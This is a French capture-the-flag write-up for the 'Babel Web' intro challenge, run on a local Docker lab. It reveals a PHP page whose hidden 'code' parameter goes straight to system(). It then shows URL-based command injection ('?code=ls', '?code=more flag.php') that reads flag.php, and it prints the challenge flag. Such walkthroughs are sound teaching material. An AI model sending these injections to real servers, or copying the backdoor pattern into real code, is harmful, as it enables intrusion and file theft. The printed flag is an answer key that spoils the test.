Solution de JJarrie pour Babel Web

intro web

1 décembre 2023

Babel Web

docker compose up # Démarre un process web sur le port 8000

http://localhost:8000

On arrive sur une page web qui ne présente que du texte. Aucun autre contenu ou lien visible.

En contrôlant les sources de la page on peut voir le commentaire suivant:

<!-- <a href="?source=1">source</a> -->

Un lien ajoutant un paramètre à la page est donc prévu, mais caché.

http://localhost:8000/?source=1

On affiche donc le code source complet de la page et on voit apparaître les sources PHP suivantes:

<?php
    if (isset($_GET['source'])) {
        @show_source(__FILE__);
    }  else if(isset($_GET['code'])) {
        print("<pre>");
        @system($_GET['code']);
        print("<pre>");
    } else {
?>

Donc si dans les paramètres url, le paramètre “source” existe, on fait appel à la fonction show_source pour afficher une version colorisé du contenu du fichier script actuellement executé (certainement index.php par convention).

On voit aussi que si le paramètre source n’existe pas mais que le paramètre code existe, on peut lui passer une valeur qui sera passé à la fonction system qui permet d’éxécuter un commande serveur. Essayons d’injecter une commande simple ls pour lister les fichiers présents dans le répertoire du script. Je part du principe que je suis sur un système unix, si les commandes unix crashent je testerais avec des commandes propres à d’autres systèmes.

http://localhost:8000/?code=ls

  • flag.php
  • index.php

Bingo! Le fichier flag.php est certainement le fichier qui contient le flag que nous cherchons, essayons d’afficher son contenu.

http://localhost:8000/?code=cat%20flag.php

Déception, cette commande ne fonctionne pas, mais d’autres commandes pour afficher le contenu du fichier existent:

  1. cat
  2. head
  3. tail
  4. more
  5. less
  6. tac
  7. grep

Testons les pour voir si l’une d’elles fonctionnent.

http://localhost:8000/?code=more%20flag.php

Encore un bingo! Du texte s’affiche, mais toujours pas de flag. Mais heureusement une visite des sources de la page va mettre en avant le code suivant:

<?php
	$flag = "FCSC{5d969396bb5592634b31d4f0846d945e4befbb8c470b055ef35c0ac090b9b8b7}";
<pre>

Nous pouvons valider cette épreuve!